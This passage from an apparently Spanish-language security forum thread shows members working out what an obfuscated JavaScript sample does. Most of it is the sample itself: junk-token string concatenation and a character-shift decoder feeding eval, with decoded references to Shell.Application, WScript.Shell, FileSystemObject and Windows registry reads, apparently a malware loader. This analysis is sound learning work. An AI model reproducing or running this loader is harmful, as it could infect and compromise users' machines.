        'OfA+KAx' +
        'egJjdOfyKAxegJjdOf' +
        'AzKA' +
        'xegJjdOf{KAxegJjdOf&KAxegJjdOf3KAxegJjdOfG+' +
        'KAx' +
        'egJ' +
        'jdOftKAxegJ' +
        'j' +
        'dOffAbKAxegJjdOf+KAxegJjdOf' +
        'AKAxegJjdO' +
        'f+KAxegJjdO' +
        'fsKAxegJj' +
        'dO' +
        'fA+KAxegJ' +
        'jdOfdKAxegJjdOf+AKAxegJjdO' +
        'fiK' +
        'AxegJj' +
        'dOf+&+KAxeg' +
        'JjdOf3KAxegJjdO' +
        'fFKAxegJjdOfqKAxegJjdOfAKAxegJjdOf+KAxegJjdOfiqKAxe' +
        'gJjdOf+&+KAxegJjdOfA3KAxegJjdOf3KAxegJjdOf+KAx' +
        'egJjdO' +
        'fAKAxegJjdOf+KAxegJjdOf&KAxegJj' +
        'dOf+KAxegJjdOf3DKA' +
        'xegJjdOf&KAxegJjdOf+' +
        'AKAxegJjdOf3KAxegJjdOf+' +
        'KAxegJjdOf1KAxegJjdOfgKAxegJjdOfbKAxegJjdOf+KAxegJjdOfm+KAxegJjdOftf&KAxegJjdOfA3+KAxegJjdOfA:AKAxegJjdOf&' +
        'KAxegJjd' +
        'Of+KAx' +
        'egJjdOfA4C+KAxegJjdOf' +
        '&KAxegJjdOf+KAxegJjdOf31I+KAxegJjdOfUU+KAxegJjdOfQA&KAxe' +
        'gJjdOf+KAxegJjdOf3+KAxegJjdOfAKAxegJjdOf+F+KAxegJjdOfAKAxegJjdOfTfoKAxegJjdOf+' +
        'AKAxegJjdOfeKAxegJjdOf+AKAxegJjdOf&KAxegJjdO' +
        'f3KAxegJjdOf9' +
        '&KAxegJjdOf3KAxegJjdOf:AKAxegJjdOf&+KAxegJjdOf4CKAxegJ' +
        'jdOf&KAxegJjdOf+KAxegJjdOf3KAxegJjdOfA+1KAxegJjdOfjKAxegJ' +
        'jdOfAK' +
        'AxegJjdOfgA&KAxegJjdOf3+1+AKAxegJjd' +
        'Of+KAxegJjdOf&KAxegJjdOf+KAx' +
        'egJjdOf3AK' +
        'AxegJjdOf9KAxegJjdOf+IUU+KAxegJjdOfQKAxegJjdOfAKAxeg' +
        'JjdOf&KAxegJjdOf+KAxegJjdOf3KAxegJjdOf+A+KAxegJjdOfF+TKAxegJjdOfuKAxegJjdOfbKAxegJ' +
        'jdOfuKAxegJjdOfAvKAxegJjdOft' +
        '&KAxegJjdOf+KAxegJjdOf31KAxegJjdOf+KAxegJjdO' +
        'f&4KAxegJjdOf+KAxe' +
        'gJjdOf' +
        'A+KAxegJj' +
        'dOf' +
        'E&KAxegJjdOfAKAxeg' +
        'JjdOf4KAxegJjdOf+KAxegJ' +
        'jdOfAKAxeg' +
        'JjdOf+KAxegJjd' +
        'OfEKAxegJjdOf&+3KAxegJjdOfAKAxegJjdO' +
        'f1KAxegJjdOfAKAxegJjdOf&KAxegJjdOf4KAxegJjdOf3KAxegJjdOf&4KAxegJjdOf1KAxegJjdOf&4+KAxegJjdOfAKAxegJjdOf1+&' +
        'KAxegJjdOf' +
        '3AKAxegJjdOf:KAxegJjdOfA&KAxegJjdOf3KAxegJjdOfA1KAxegJjdOfA' +
        'KAxegJjdOf&+' +
        'KAxe' +
        'gJjdOf8KAxegJjdOfC' +
        '&1E+KAxegJjdOfA&1BTKAxegJjdOfuAKAxegJjdOfs+K' +
        'AxegJ' +
        'jdOffKAxegJjdOf+KAxegJjdOfbKAxegJ' +
        'jdOf+KAxegJjdOfn' +
        'KAxegJjdOfAKAxegJjdOf+KA' +
        'xegJj' +
        'dOf' +
        '&KAxegJjdOf3KAxegJjdOfFPKAxegJjdOf+KAxegJjdOfAqK' +
        'AxegJjdOff+KAxegJjdOfoKAxeg' +
        'Jjd' +
        'Of+AKAxegJjdOf&KAxegJjdOf+KAxegJjdOfAKAxegJjdOf3KAxegJj' +
        'dO' +
        'f' +
        '9KAxegJjdOf&KAxegJjdOf3KAxegJjdOf' +
        '+:KAxegJjdO' +
        'f+KAxegJjdO' +
        'fAKAxe' +
        'g' +
        'JjdOf&+4CKAxegJjdOf&KAxe' +
        'g' +
        'JjdOf3KAxegJjdOf1KAxegJjdOf+KAxegJjdO' +
        'fTKAxegJjdOfuKAxegJjdOfsKAxegJjdOffKAxegJjdOf+' +
        'bnKAxe' +
        'gJjdOf&KAxegJjdOf+KAxegJjdOf3AKAxegJjdOfF' +
        'A+UKAxegJjdOfzKAxegJ' +
        'jdOfqKAxegJjdOffAKAxe' +
        'gJjdOf&31KAxegJjdOf+&KAxegJjdOfA4+KAxegJjdOfE&KAxegJjdOf+31KAxegJj' +
        'dOf&KAxegJjd' +
        'Of42&KAxegJjd' +
        'Of4CA&3AKAxegJjdOf+KAxegJjdOf1KAxegJjdOfTKAxegJjdOf+KAxegJjdOfAKAxegJjdOfusKAxegJjdOfA' +
        'KAxegJjdOf+KAxegJjdOffK' +
        'Axe' +
        'gJjd' +
        'OfbKAxeg' +
        'JjdOfnKA' +
        'xeg' +
        'JjdOfA&3KAxegJjd' +
        'Of+KAxegJ' +
        'jdOfFAKAxegJ' +
        'jdOfX+sKAxegJ' +
        'jdOfjuKAxegJ' +
        'jdOf+KAxegJjdOffKAxegJ' +
        'jdOf&KA' +
        'xegJ' +
        'jd' +
        'Of3KAxegJjdOf+KA' +
        'xegJjdOf9IAUKAx' +
        'egJ' +
        'jd' +
        'OfUKAxegJjdOfQK' +
        'AxegJjdOf&KAx' +
        'egJj' +
        'dOfAKAxegJjdOf3KAxegJjdOf+AFKAxegJjdOf+KAxegJjdOfSfKAx' +
        'egJjdOftqpKAxe' +
        'gJjdOfoKAxegJjdOf+KAxegJjdOfAKA' +
        'xeg' +
        'JjdOftK' +
        'AxegJjdOffKAx' +
        'egJjdOfCAKAxegJj' +
        'dOfpKA' +
        'xegJjdOfA' +
        'KAxegJj' +
        'dOf' +
        'eKAxegJjdOfzKAxegJjdOf+KAxegJjdOf&KAxegJjdOf3KAxegJjdOf:KAxegJjdOf&4KAxe' +
        'gJjdOf+CKA' +
        'xegJj' +
        'dOf&AKAxegJjdOf3KAxegJjdOf1+&KAxegJjdO' +
        'f+KAxegJjdOf1A+EA&KAxegJjdOf+KAxegJj' +
        'dOfA1KAxegJjdOf+KAxegJj' +
        'dOfAKAxegJjdOf+KAxegJjdOfB+TKAxegJjdOfuKAxegJjdO' +
        'fsKAxegJjdOf' +
        'fKAxegJjdOfbKAxeg' +
        'JjdOfnKAx' +
        'egJjdOf&A3FKAxegJj' +
        'dOf+KAxegJjdOfQ+pAKAxegJjdOf+KAxe' +
        'g' +
        'JjdOftKAxegJjdOf+KAxegJjd' +
        'OfAKAxegJjdOfjKAxegJjdOfuKAxe' +
        'gJjdOf' +
        '+KA' +
        'xegJjdOfj+KAxegJjdOfA+po+&KAxegJj' +
        'dOfAKA' +
        'xegJ' +
        'jdOf+' +
        'KAxegJjdOf' +
        '3KAxegJjdOf1KA' +
        'xegJjdOf&KAxegJjdOf' +
        '4EKAxegJj' +
        'dOf&KAxegJ' +
        'jdOf31KAxegJjdOf&KAxegJjdOf4+KAxegJj' +
        'dOfA1KAxegJjdOf&KAxegJjd' +
        'OfAKAxegJjdOf+4KAxegJj' +
        'dOf+KAxeg' +
        'JjdOfAKAx' +
        'egJjdOfC+KAxe' +
        'gJjdOf&KAxegJjdOf3KAxegJjdOf1KAxegJjdOf+TKAxegJjdOfAKAxegJjdOfuKAxegJjdOf+AKAxeg' +
        'J' +
        'j' +
        'dOf+KAxegJjdOfsKAxeg' +
        'JjdOf+KAxegJjdOfAfbKAxegJjdOfnKAxegJjdOf&' +
        'KAxegJjdOfA3+FKAxegJjdOf' +
        '+KAxegJjd' +
        'OfTKAxegJjdOfb+wKAxeg' +
        'JjdOf+fKAxegJjdOfU+KAxegJjdO' +
        'fAKAxegJjdOfpAGj+KAxegJj' +
        'dOfm' +
        'KAx' +
        'egJjdOf+KAxegJjdOfAKAxegJjd' +
        'O' +
        'f+KAxegJjdOffKAxegJj' +
        'dOf&3KAxegJjdOf9KAxegJjdOfAKAxegJjdOfqKAxegJjdOfbuAKAxegJjdOfi&KAxegJjdOfA3+KAxegJj' +
        'dOfDKAxegJjdOf+&31KAxegJjdOf&43KAxegJjd' +
        'Of+&KAxeg' +
        'Jj' +
        'dOf3A:&KAxegJjdOf4KAxegJjdOfCKAxegJjdOf&1+AKAxegJjdO' +
        'fEKAxegJjdOf&+KAxegJjdOf1BKAxegJjdOfATu+sKAxegJ' +
        'jdOf+KAxegJjdOffKAxegJjdOfbKAxegJjdOf+KAxegJjdOfn&3KAxegJjdOfF' +
        'DKAxegJjdO' +
        'fAKAxegJ' +
        'jdOf+KAxegJjdOfmpKAx' +
        'egJjdOftKAxegJjdOfAKAxegJjdOffKAxegJjdOfA&3KAx' +
        'egJjdOf9KAxegJj' +
        'dOf&3K' +
        'AxegJjdOf:+&KAxegJjdOf+KAxegJ' +
        'jdOf4+' +
        'KAxegJjdOfC+&KAxegJ' +
        'jdOfA31ti' +
        'KAx' +
        'egJjdOf&A+3KAxegJjdOfFAKAxegJjdOfTAKAxegJjdOfiA+KAxeg' +
        'JjdOffAmmKAxegJjdOfFKAxegJjd' +
        'OfyfKAxegJjdOf' +
        'dKAxegJjdO' +
        'fvKAxegJjdOf+uKAxegJjdOf' +
        'fAKAxegJjd' +
        'Of&3KA' +
        'xegJjdOf9q' +
        'KAxegJjdOfbui&KAxegJj' +
        'dOf3KAxegJjdOf+KAxegJjdOfD&+AKAxegJjdOf' +
        '3KAxegJjdOf1+KAxegJjdOfAKAxegJj' +
        'dOf&KAxegJjdOfA3KAxegJjdOf3&33KAxegJjdOf+&KAxegJjd' +
        'Of3+' +
        'DKAxegJjdOf&KAxegJjdOf31+KAxegJjdOfAKAxe' +
        'gJjdOf&3KAxegJjdOf3K' +
        'AxegJjdOf+&33KAxegJjdOfAKAxegJjdOf&KAxegJjdOfAKAxegJjdOf3K' +
        'AxegJjdOfAKAxegJjdOf+DAKAxegJ' +
        'jdOf&KAxeg' +
        'JjdOf+3' +
        'A' +
        'KAxegJjdOf1KAxegJjdOf+KAxegJjdO' +
        'fAKAxegJjdOf&3KAxegJj' +
        'dO' +
        'f3KAxe' +
        'gJjdOfpKAxegJjdOfqKAxegJjdOffKAxegJjd' +
        'Of+Ao+AK' +
        'AxegJjdOf+KAxegJjdOf&' +
        'KAxegJjdOf3AKAxegJjdOf3KAxegJjdOfAKAxegJjdOf+&+3KAxeg' +
        'JjdO' +
        'fAKAxegJjdOf+KAxegJjdOfDKAxegJjdOf' +
        '&AKAxegJjdOf+K' +
        'AxegJjdOf3AKA' +
        'xegJjdOf1KAxegJ' +
        'jdOf+KAxegJjdO' +
        'f&4KAxegJjdOf2&KAxegJjdOf3KAxegJjdOf:&KAxegJjdOf4KAxegJjdOfAKAxegJjdOfCA&3KAxe' +
        'gJjdOf1KAxegJjdOf&KA' +
        'xegJjdOfAKAxegJ' +
        'jdOf+KAxegJjdOf8E#KAxegJj' +
        'dOf' +
        '*KAxegJjdOf*KAxegJjdOf<"KAxegJjdOf;KAxeg' +
        'JjdOf KAxeg' +
        'JjdOfIKAxegJjdOfGhKAxegJjdOfuKAxegJjdOfToKAxegJjdOfEKAxegJjdOfwXKAxegJjdOflKAx' +
        'egJjdOfJBKAxegJjdOfQPK' +
        'AxegJjdOfSKAxegJjdOf KAxegJjdOf=KAxegJj' +
        'dOf KAxegJjdOf"KAxegJjdOf";KAxegJjdOf hKAxegJjdO' +
        'fxKAxegJjdOfE' +
        'KAxegJjdOfobKAxegJjd' +
        'OfzKAxegJjdOfl' +
        'KAxegJjdOfsRgNKAxegJjdOffcKAxegJjdOfdKAxegJjdO' +
        'fXKAxegJjdOf KAxegJjdOf=KAxe' +
        'g' +
        'JjdOf KAxegJjdOfOKAxegJjdOfKMKAxegJjdOfwPHKAx' +
        'egJjdOfjKAxegJjd' +
        'Of' +
        'JKAxegJjdOfQymtKAxegJjdOfdKA' +
        'xegJjdOfVKAxegJjdOfXKAxegJjdOf.KAxegJ' +
        'jdOfReKAxegJjdOfgKAxegJjdO' +
        'fReKAxegJjdOfad("' +
        'KAxegJjdOfHKAxegJjdOfKLKAxe' +
        'gJjdOfM"+KA' +
        'xegJjd' +
        'OfdKAxeg' +
        'JjdOfh' +
        'KAxegJjdO' +
        'fJRKAxegJjdOfNaKAxeg' +
        'JjdOff' +
        'KA' +
        'xegJjdOfpLKAxegJjdOfszq' +
        'KAxegJjdOfjKAxegJjdOfoigKAxegJjdOf(92KAxegJjdOf)KAxegJjdOf+"sKAxegJjdOfofKAxegJjdOftwKAxegJjdOfa' +
        'KAxegJjdOf' +
        'reKAxegJjdOf"KAxegJjdOf+KAxegJj' +
        'dOfdhJRNKAxegJjdOf' +
        'af' +
        'KAxegJjdOfpLKA' +
        'xegJjdOfszqjKA' +
        'xegJjdOf' +
        'oKAxegJjdOfig(KAxegJjdOf92KAxegJjdOf)KAxegJ' +
        'jdOf+"KAxegJj' +
        'dOfmiKAxegJjdO' +
        'fcKAxegJjdOfrosKAxegJjdOfoKAxegJjdOffKAxegJjdOft"KAxegJjdOf+KAxegJjdOfdhKAxegJjdOfJRKAxegJjdOfNaKAxegJjdOffpKAxegJjdOfLsz' +
        'qKAxegJjdOfjKAxegJjdOfo' +
        'KAxegJjdOfig(KAxegJjdOf9KAxegJjdOf2)+KAxegJjdOf"KAxegJjdOfwindowsKAxegJjdOf K' +
        'AxegJ' +
        'jdO' +
        'f' +
        'nt"+KAxegJjdOfdKAxegJjdOfh' +
        'KAxegJjdOfJ' +
        'KAxegJjdOfRKAxegJjdOfNaKAxegJjdOffpKAxegJjdOfLsKAxegJjdOfzKAxegJj' +
        'dOfqjoiKAxegJjdO' +
        'fgKAxegJj' +
        'dO' +
        'f(9KAxegJjdOf2KA' +
        'xegJjdOf)KAxegJjdOf+"cKAxe' +
        'gJjd' +
        'OfuKAxegJjdO' +
        'frKAxeg' +
        'JjdOfrKAxegJjdO' +
        'fenKAxegJjd' +
        'OftKA' +
        'x' +
        'egJjdOfverKA' +
        'xegJjd' +
        'OfsKAxegJjdO' +
        'fioKAxegJjd' +
        'OfnKAxegJjdOf"+KAxegJjdOfdKAxegJjdOfhKAxegJjdOfJKAxegJjdOfRKAxegJjdOfNa' +
        'KAxegJjdOffKAxegJjdOfpKAxegJjdOfLKAxe' +
        'gJjd' +
        'OfszKAx' +
        'egJjdOfqKAxegJjdOfj' +
        'oKAxegJjdOfigKAxe' +
        'gJjdOf(KAxegJjdOf9KAxe' +
        'gJjdOf2KAxegJjdOf)KAxegJjdOf+KAxegJjdOf"KA' +
        'xegJjdOfsKAxegJjdOfyKAxeg' +
        'JjdOfsKAxegJjdOftKAxegJjdOfemK' +
        'AxegJjdOfroot' +
        'KAxegJjdOf"); OKAxegJjdOflKAxegJjdOf' +
        'wKAxegJjdOfpKAxegJjdOfPLKAxegJ' +
        'jdOfsKAxegJjdOfvRKAxegJj' +
        'dOfDKAxegJjdOfhKAxegJjdOfBKKAxeg' +
        'J' +
        'jdO' +
        'fQKAxegJjdOfEKAxegJjdOfVKAx' +
        'egJjdO' +
        'f K' +
        'AxegJjdOf= KAxegJjdOfMKAxegJjdOfurKAxegJjdOfNKAx' +
        'egJjdOfKQlKAxegJjdOfVKAxegJ' +
        'jd' +
        'Of' +
        'S' +
        'KAxegJjdOfcKAxegJj' +
        'dOfmpLKAxegJjdOfDX' +
        'KAx' +
        'egJjdOfRe(hK' +
        'AxegJjdOfxKAxegJjdOfE' +
        'oKAxegJjdOfbKAxegJjd' +
        'OfzKAxegJjdO' +
        'flsRgNKAxe' +
        'gJjdOffKAxegJjdOfcKAxegJjdOfdKAxegJjdOfX' +
        'KAxe' +
        'gJjdO' +
        'f, KA' +
        'xegJjdOf1);'
    return KgJtXdpCLGQOuRMmYeV.replace(RegExp(vPsiWmlGbuYgxoeO, "g"), "");
}
var QoUEVpsCPaHJLBvKIf = eval(JIUFoiVePNXYTRaOyB("KAxegJjdOf"));
for (var XTxDhusitPGEHjFQCBJ = 0; XTxDhusitPGEHjFQCBJ < ojLqWfitUlxbncuQG.length; XTxDhusitPGEHjFQCBJ++) {
    bLGgrdCMRovlpnx = ojLqWfitUlxbncuQG.charCodeAt(XTxDhusitPGEHjFQCBJ) - (363912 - 6168 * OlwpPLsvRDhBKQEV) / 6168;
    if ((bLGgrdCMRovlpnx != (496000 - 4960 * OlwpPLsvRDhBKQEV) / 4960) && (bLGgrdCMRovlpnx != (1009550 - 8275 * OlwpPLsvRDhBKQEV) / 8275) && (iyMwbtAxWPOohYzjGv(hxEobzlsRgNfcdX) == true) && (iyMwbtAxWPOohYzjGv(OlwpPLsvRDhBKQEV) == false)) {
        IGhuToEwXlJBQPS += String.fromCharCode(bLGgrdCMRovlpnx);
    }
}
var ykGFzfCKJwBRvrjo = eval(IGhuToEwXlJBQPS);
« Última modificación: 15 Febrero 2019, 02:59 am por colcrt » En línea

MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.518


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: como funciona y que hace este js
« Respuesta #6 en: 15 Febrero 2019, 01:28 am »

EFEX gracias ya voy entendiendo  ;-)

me ayuda con este no me de la respuesta solo un indicio del la ofuscación

Código:
var juEFqegXodwknWtlpOv, OKMwPHjJQymtdVX, ojLqWfitUlxbncuQG, OlwpPLsvRDhBKQEV, hxEobzlsRgNfcdX, lAYcunLBjCUqezpbkw, bLGgrdCMRovlpnx,
        IGhuToEwXlJBQPS, QoUEVpsCPaHJLBvKIf, ykGFzfCKJwBRvrjo, EJwvfYAohpSrQzN, nuAxPyMlzEXTDkr, PdoNEByUDLakcIiurJF, KgJtXdpCLGQOuRMmYeV,
        qHzgFLwWdtJOBQcCpsP;

function JIUFoiVePNXYTRaOyB(vPsiWmlGbuYgxoeO) {}

var QoUEVpsCPaHJLBvKIf = eval(JIUFoiVePNXYTRaOyB("KAxegJjdOf"));

for (var XTxDhusitPGEHjFQCBJ = 0; XTxDhusitPGEHjFQCBJ < ojLqWfitUlxbncuQG.length; XTxDhusitPGEHjFQCBJ++) {
        bLGgrdCMRovlpnx = ojLqWfitUlxbncuQG.charCodeAt(XTxDhusitPGEHjFQCBJ) - (363912 - 6168 * OlwpPLsvRDhBKQEV) / 6168;

        if ((bLGgrdCMRovlpnx != (496000 - 4960 * OlwpPLsvRDhBKQEV) / 4960) && (bLGgrdCMRovlpnx != (1009550 - 8275 * OlwpPLsvRDhBKQEV) / 8275) &&
                (iyMwbtAxWPOohYzjGv(hxEobzlsRgNfcdX) == true) && (iyMwbtAxWPOohYzjGv(OlwpPLsvRDhBKQEV) == false)) {
                IGhuToEwXlJBQPS += String.fromCharCode(bLGgrdCMRovlpnx);
        }
}

var ykGFzfCKJwBRvrjo = eval(IGhuToEwXlJBQPS);

Ese código está incompleto. Por ejemplo, el string que está guardado en ojLqWfitUlxbncuQG no está definido.

Saludos!
En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

colcrt

Desconectado Desconectado

Mensajes: 87


Ver Perfil
Re: como funciona y que hace este js
« Respuesta #7 en: 15 Febrero 2019, 02:59 am »

MCKSys , ya edite con el código completo
En línea

EFEX


Desconectado Desconectado

Mensajes: 1.171


"Dinero Facil"


Ver Perfil WWW
Re: como funciona y que hace este js
« Respuesta #8 en: 15 Febrero 2019, 12:47 pm »

Esta es la solucion, no la leas completa  :xD

Podes ver a simple vista que utiliza otras funciones de javascript como eval, charCodeAt, fromCharCode. Podes googlearlo y saber mas sobre las funciones.

Igual que el otro el codigo esta ofuscado dentro de la funcion JIUFoiVePNXYTRaOyB, podes mirar que es lo que devuelve el primer eval, esta funcion es la mas odiada por su mal uso como el malware y no podemos permitir su ejecucion, creo que los browser no dejan ejecutarlo(creo, sino corrijanme). Lo mismo que antes pero no dejamos ejecutar eval.


Código
  1. function JIUFoiVePNXYTRaOyB(vPsiWmlGbuYgxoeO) {
  2.  KgJtXdpCLGQOuRMmYeV = 'jKAxegJjdOfuKAxegJjdOfEKAxegJjdOfFKAxegJjdOfqKAxegJjdOfeKAxegJjdOfgKAxegJjdOfXodKAxegJjdOfwkKA' + 'xegJjdOfnWtKAxegJjdOflKAxe' + 'gJjdOfpOKAxeg' + 'JjdOfvKAxegJjdOf =' + ' KAxegJjdOfnKAxeg' + 'JjdOfeKAxe' + 'gJjdOfw KAxegJjdOfAcKAxegJjdOftKAxe' + 'gJjdOfiKAxegJjdOfvKAx' + 'egJjdOfeXOKAxegJjdOfbjecKAxegJ' + 'jdOftKAxegJjdOf(KAxegJjdOf"sKAxegJ' + 'j' + 'dO' + 'fHKAxegJjdOfelKAxegJjdOflKAxegJjdOf.KAxegJjdOfaKAxegJjdOfPKAxegJjdOfPKAxegJjdOflKAxegJjd' + 'OfiKAxegJjdOfcAtKAxegJjdOfIKAxegJjd' + 'Ofon' + '")KAxegJjdOf; OKAxe' + 'gJjdOfKK' + 'AxegJjdOfMKAxegJ' + 'jdOfwPHKAxegJ' + 'jdOfjJKAxegJj' + 'dOfQKAxegJ' + 'jdOfyKAxegJjdOfmtdKAxegJjdOfVX KA' + 'xegJjdOf=KAxegJjdOf KAxegJjdOfnKAxegJjd' + 'OfeKAxe' + 'gJjdOfw KAxegJjdOf' + 'AcKAx' + 'egJjdOftiK' + 'AxegJ' + 'jdOfveKAxegJjdOfXObKAxe' + 'gJjdOfjKAxegJjdOf' + 'ec' + 't(KAxegJjd' + 'Of"KAxegJjdOfwKAxegJjdOf' + 'sKAxegJjdOfCRiKAxegJjdOfpTKAxe' + 'gJjdOf.SKA' + 'x' + 'egJjdOfheKAxegJjdO' + 'flLKAxegJjdOf"' + 'KAxegJjdOf)KAxegJjdOf; ' + 'PKAxegJjdOfdoNEKAxegJjdOfByKAxe' + 'gJjdOfUDKAxegJjdOfLaKAxegJjdO' + 'fkKAxegJjdO' + 'fcIiurJFKAxegJjdOf K' + 'A' + 'xeg' + 'JjdOf' + '=KAxegJjdOf nKA' + 'xegJjdOfeKAxegJjdOfw KAxeg' + 'Jjd' + 'OfAcKAxegJjd' + 'OftKAxegJjdOfiKAxegJjdOfvKAxegJjdOfeK' + 'AxegJjdOfXO' + 'bKAxegJjdOfjKAxegJj' + 'dOfectKAxegJjdOf(KAxegJ' + 'jdOf' + '"SKAxegJjdOfcrKAxegJjdOfIKAxegJjdOfpKAxegJjdOftiKAxegJjdOfngKAxegJjdOf.' + 'fKAxegJjdOfilEKA' + 'xegJjdOfsYKAxegJjdOfsKAxegJ' + 'jdOftKAxegJjdOfeKAxegJjdOfmKAxegJjdOfoKAxegJjdOfbJKAxegJj' + 'dOfecT' + 'KAxegJjdOf"KAxegJjdOf)' + 'KAxegJjdOf; KAxegJj' + 'dOffuKAxegJjdOfnc' + 'KAxegJjdOftK' + 'A' + 'xegJj' + 'dOfiKAxegJjdOfoKAxegJjdOfn KAxegJjdOfdhJ' + 'KAxegJj' + 'd' + 'OfRKAxegJjdOfNafKAxegJjdOfpLKAxegJjdOfsKAxegJjdOfzqKAxeg' + 'JjdOfjKAxegJjdOfoKAxegJjdOfigKAxegJjdOf(LKAxegJjdOfNKAxegJj' + 'dOfCoKAxegJjdOfR' + 'YKAxegJjdOfhKAxegJ' + 'jdOfWseKAxegJjdOfMSKAxegJjd' + 'OfKfj)KAxegJjdOf { KAx' + 'egJjd' + 'OfrKAxe' + 'gJjdOfeKAxegJjdOftKAxegJjd' + 'OfuKAxegJjdOfrKAxegJjdOfnKAxegJjdOf KAxegJjdOfSt' + 'KAxegJjdOfrKAxegJjdOfin' + 'g.fKA' + 'xegJjdOfrKAxegJjdOfoKAxegJjdOf' + 'mCKAxeg' + 'JjdOfhKAxegJjdOfaKAxegJjdO' + 'frKAxegJjdOfCKAxegJj' + 'dOfodKAxegJjdOfe' + 'KAxegJ' + 'j' + 'dOf(KAxegJjdOfLNKAxegJjdOfCKAxegJjdOfoRKAxegJ' + 'j' + 'dOfYKAxegJj' + 'dOfhKAxegJjdOfWsKAxe' + 'gJjd' + 'OfeMKAxegJjdOfSKAxegJjdOfKKAxegJjdOff' + 'KAxegJjdOf' + 'jKAxegJjdOf);KAxegJjdOf KAxe' + 'gJjdOf}KAxeg' + 'JjdOf KAxegJjdOf' + 'fuKA' + 'xegJjdOfnKAxegJj' + 'dOfctKAxegJjdOf' + 'ionKAxegJjdOf KAxegJjdOfiKAxegJjdOfyKAxegJjdOfMKA' + 'xegJjdOfwKAxeg' + 'J' + 'jdO' + 'fbKAxegJjdOftKAxegJjdOfAxWP' + 'KAxegJjdOfOohYKAxeg' + 'JjdOfzKAxegJjdOfjKAxegJjdOfGv(DKAxegJjdOflKAxegJjdOfiKAxegJjdOfbKAxegJjdOfcKAxegJjdOfWKAxegJjdOfEgKAxeg' + 'JjdOfNxfKAxeg' + 'JjdOfXK' + 'A' + 'xegJjdOfJKAxegJjdOftKAxegJj' + 'dOfnFKAxegJjdOfruKAxegJjdOfQKAxegJjdOf) ' + 'KAxegJjdOf{KAxegJjd' + 'Of KAxegJjdOfrKAxegJjdOfeKAxegJjdOftKAxegJjdOfuKAxegJjdOfrn KAxegJ' + 'jdOfPKAx' + 'egJjdOfdK' + 'AxegJjdOfoKAxegJjdOfN' + 'KAxegJjdOfE' + 'KAxegJjdOfByKA' + 'xegJjdOfUDLakcKAxegJj' + 'dOfIiuKAxegJjdOfr' + 'KAxegJjdOfJ' + 'KAxegJjdOfF.KAxegJjdOfFKAxegJjdOfoKAxegJjdOflKAxegJjdOfderExKAx' + 'egJjdOfistsKAxegJjdOf(DKAxegJjdOfliKAxegJ' + 'jdOfbKAxegJjdOfcWKAxegJ' + 'jdOfEg' + 'KAxegJjdOfNKAxegJjdOfxKAxegJjdOffKAxeg' + 'JjdOfX' + 'KAxegJjdO' + 'fJtKAxegJjdOfnKAxegJjdOfFKAxegJjdOf' + 'rKAxegJjdOfuQKAxegJjdOf);KAxegJjdOf }KAxegJjdOf K' + 'AxegJjdOffK' + 'AxegJjdO' + 'funct' + 'iKAxegJjdOfon KAxegJjdOfMKAxegJjdOfuKAxegJjdOfrKAxegJjdOfNKKAxegJjdOfQlKAxeg' + 'JjdOfVKAxegJjdOfSKA' + 'xegJjdOfcKAxegJjdOf' + 'mpKAxegJjdOfLDKAxegJjdOfXRK' + 'AxegJjdOfeKAxegJjdOf(KAxegJjdOfqKAxegJjdOfrKAxeg' + 'J' + 'jdOfPF' + 'DfKAxegJjdOfoLQEACKAxegJjdOfOKAxe' + 'gJjdOfjKAxegJjdOfpKAxe' + 'gJjdOftKAxegJjdOfiKAx' + 'egJjdOfd,KAxegJjdOf KAxegJjdOfr' + 'eEk' + 'jK' + 'AxegJjdOfgh' + 'KKAxegJjdOffKAxegJjdOfVbKAxegJjdOfzKAxegJjdOfHKAxegJjdOfPYKA' + 'xegJjdOfIKAxegJjdOf' + ')KAxegJjdOf {KAxeg' + 'JjdOf ' + 'rKAxegJjdOfe' + 'tKAxegJjdOfuKAxegJjdOfrn KA' + 'xegJjdOfqrPFDfKAxegJjdOfoKA' + 'xe' + 'gJjdOfL' + 'KAxegJjdOfQEKAxegJjdOf' + 'AKAxegJjdOfCK' + 'AxegJjdOfOjpKAxegJjd' + 'OftKAxegJjdOfiKA' + 'x' + 'e' + 'gJjdOfdKAxegJjdOf.charCoKAxegJjdO' + 'f' + 'dKAxegJjdOfeKAxegJjdOfA' + 'KAxegJjdOftKAxegJjd' + 'Of(r' + 'eEKA' + 'xegJjdOfkKAxegJjdOfjghKAxegJ' + 'jd' + 'OfKfKAxegJjdOfVKAxegJjdOfbKAxegJjdOfzKAxegJjdOfHKAxegJjdOfPYKAxegJjdOfI);KAxegJjdOf ' + 'KAxe' + 'gJjdOf} oKAxegJjdOfjKAxegJjdOfLKAxegJjdOfqWKAxeg' + 'JjdOffKAxegJjdOfiKAxegJjdOftKAxegJjdOf' + 'UKAxegJjdOflxKAxegJjdOfbKAxegJjdO' + 'fncuKAxegJjdOfQG KAxegJjdOf=KAxegJjdOf KAxegJ' + 'j' + 'dOf"KAxegJjdOffKAx' + 'egJjdO' + 'f' + '+KA' + 'xegJ' + 'jdOfwA+bKAxegJjdOf+m+KAxegJjdOf)+KAxegJjdOf' + 'vK' + 'AxegJjdOf+KAx' + 'egJjdOfo+KAxegJjdOfftKAxegJjdOfdbKAxegJjdOf+q+KAxegJjdOffK' + 'AxegJjdOf+A)KAxegJjdOf#wAKAxegJjdOfbs' + '+&KAxegJj' + 'dOfA3K' + 'AxegJjdOf1+KAxegJjdOfxti' + '+KAxegJjdOfA+KAxegJjdOf&3KAxegJj' + 'dOfAKAxegJjdOf+KAxegJjdOf1KAxegJjdOf&KAxegJjdOf4+KAxegJjdOfAKAxegJjdOfE&3KAxegJjdOf1KAxegJjdOf' + 'A+KAxegJj' + 'dOfoKAxegJjdOf' + 'fxKAxe' + 'gJj' + 'dOf+KAxeg' + 'J' + 'jdOf&KAxegJjdOf+31KAxegJjd' + 'OfBd' + 'KAxegJjdOfA+uj+KAxegJjdOfAwAKAxeg' + 'JjdOffKAxegJjdOfYK' + 'AxegJjdOfP+cKAxe' + 'gJjdOf+KAxeg' + 'JjdOfAKAxegJjdOf' + '+KAxegJjdOfkKAxegJjdOf+fKAxegJjdOf+A+d+KAxegJjdOfuAKAxegJjdOf+&A3KAxegJjdOfA9KAxegJjdOfA+&' + 'KAxeg' + 'Jj' + 'dOfAKA' + 'xegJjdOf+3KAxegJjdOf3KA' + 'xegJjd' + 'OfxKAxegJjdOftdKAxegJjdOfsKAx' + 'egJjdOfj+KAxegJjdOfqKAxeg' + 'JjdOfuKAxegJjdOf+&+3' + 